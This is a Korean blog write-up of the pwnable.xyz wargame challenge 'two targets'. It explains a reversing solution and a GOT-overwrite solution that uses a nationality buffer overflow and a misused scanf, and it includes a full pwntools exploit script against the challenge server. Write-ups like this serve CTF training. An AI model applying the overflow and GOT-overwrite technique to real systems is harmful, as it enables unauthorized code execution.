본문으로 바로가기

pwnable.xyz / two targets

category Wargame/pwnable.xyz 2020. 1. 13. 17:55

두 가지 풀이가 있다. 암호화 루틴을 리버싱하는 방법이 있고, 다른 하나는 GOT overwrite로 플래그를 가져오는 방법이다.

 

Exploit: Reversing

auth 함수에서 입력한 name 문자열을 비교한다. s1 암호화 과정을 역연산해서 원래의 문자열을 알아낼 수 있다.

 

  for ( i = 0i <= 0x1F; ++i )
    s1[i] = ((a1[i] >> 4) | 16 * a1[i]) ^ *(main + i);
  
  return strncmp(s1, &s20x20uLL) == 0;

 

각각의 바이트에 대해서, 상위 4비트와 하위 4비트를 서로 바꾼 뒤 main[i] 와 xor하고 결과를 s2 와 비교한다.

s2 에 대해서 main[i] 와 xor한 뒤 상/하위 4비트를 서로 바꿔주면 적절한 입력값을 찾을 수 있다.

 

Exploit: Pwn

age 를 입력받는 부분에서 이상한 점이 보인다.

 

      if ( menu == 3 )
      {
        printf("age: ");
        __isoc99_scanf("%d"age);
      }

 

scanf 에서 인자로 age 의 주소가 아니라 age 자체를 주고 있다. 이 경우 age 가 가리키는 위치에 4바이트를 쓸 수 있기 때문에, age 를 조작할 수 있다면 (거의) 원하는 위치에 값을 쓸 수 있게 된다. (%d는 4바이트를 입력받기 때문에 앞 4바이트가 0인 주소에 대해서만 가능하다)

 

agenationality 를 입력받을 때 overflow로 변경할 수 있다.

 

  char nationality[16]// [rsp+30h] [rbp-20h]
  __int64 age// [rsp+40h] [rbp-10h]
 
...
 
      printf("nationality: ");
      __isoc99_scanf("%24s"nationality);

 

nationality 는 크기 16인 배열이지만 길이 24로 입력받기 때문에 age 를 덮어씌울 수 있다.

 

age 에 함수의 GOT 주소값을 쓰고 age 를 입력할 때 win 의 주소를 써 주면 된다. 하지만 이미 한 번 이상 사용된 함수의 경우 GOT가 libc로 연결되어 있기 때문에, overwrite를 하는 시점에서 GOT의 상위 4바이트가 0x7FFF이 되어 있다는 점에 유의해야 한다. GOT overwrite 직전까지 사용되지 않는 함수는 strncmp(0x603018), puts(0x603020), exit(0x603078) 이 있는데, puts 의 0x20 바이트는 공백(Space)으로 scanf 에서 입력할 수 없기 때문에 사용이 불가능하다.

 

strncmp 를 덮는 경우 4번 메뉴에서 해당 함수를 실행시켜야 하며 exit 를 덮는 경우 SIGALRM 을 받기 위해 60초를 기다려야 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def log_error(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))


def ChangeName(name:bytes) :
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b': ', name)

def ChangeNationality(nationality:bytes) :
    p.writelineafter(b'> 'b'2')
    p.writelineafter(b': ', nationality)

def ChangeAge(age:int) :
    p.writelineafter(b'> 'b'3')
    p.writelineafter(b': 'str(age).encode())

def GetShell() :
    p.writelineafter(b'> 'b'4')

def exploit1() :
    xor_key = '55 48 89 E5 48 83 EC 50 64 48 8B 04 25 28 00 00 00 48 89 45 F8 31 C0 E8 24 FE FF FF 48 8D 45 C0'.split()
    enc = '11 DE CF 10 DF 75 BB A5 43 1E 9D C2 E3 BF F5 D6 96 7F BE B0 BF B7 96 1D A8 BB 0A D9 BF C9 0D FF'.split()
    dec = []

    for i in range(32) :
        k = int(xor_key[i], 16)
        e = int(enc[i], 16)
        dec.append((((e^k)>>4) | ((e^k)<<4)) & 0xFF)

    ChangeName(bytes(dec))
    GetShell()

    p.interactive()

def exploit2() :
    payload = b'A'*0x10
    payload += p64(0x603018)   # strncpy@got

    ChangeNationality(payload)
    ChangeAge(0x40099C)   # win
    GetShell()

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    parser.add_argument('-s''--solve'type=inthelp='select solving method')
    args = parser.parse_args()

    if args.remote :
        p = remote('svc.pwnable.xyz'30031)
    else :
        p = process('./challenge')

    try :
        exploit = eval('exploit{}'.format(args.solve))
    except :
        args.solve = 1
        log_error('invalid option: \'solve\'')
    finally :
        exploit = eval('exploit{}'.format(args.solve))
        log_info('Exploit method: {} ({})'.format(args.solve, ['Reversing''GOT overwrite'][args.solve-1]))

    exploit()

 

 

 

Last update: 10/23/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / TLSv00  (0) 2020.01.13
pwnable.xyz / Free Spirit  (0) 2020.01.13
pwnable.xyz / xor  (0) 2020.01.13
pwnable.xyz / note  (0) 2020.01.13
pwnable.xyz / GrownUp  (0) 2020.01.13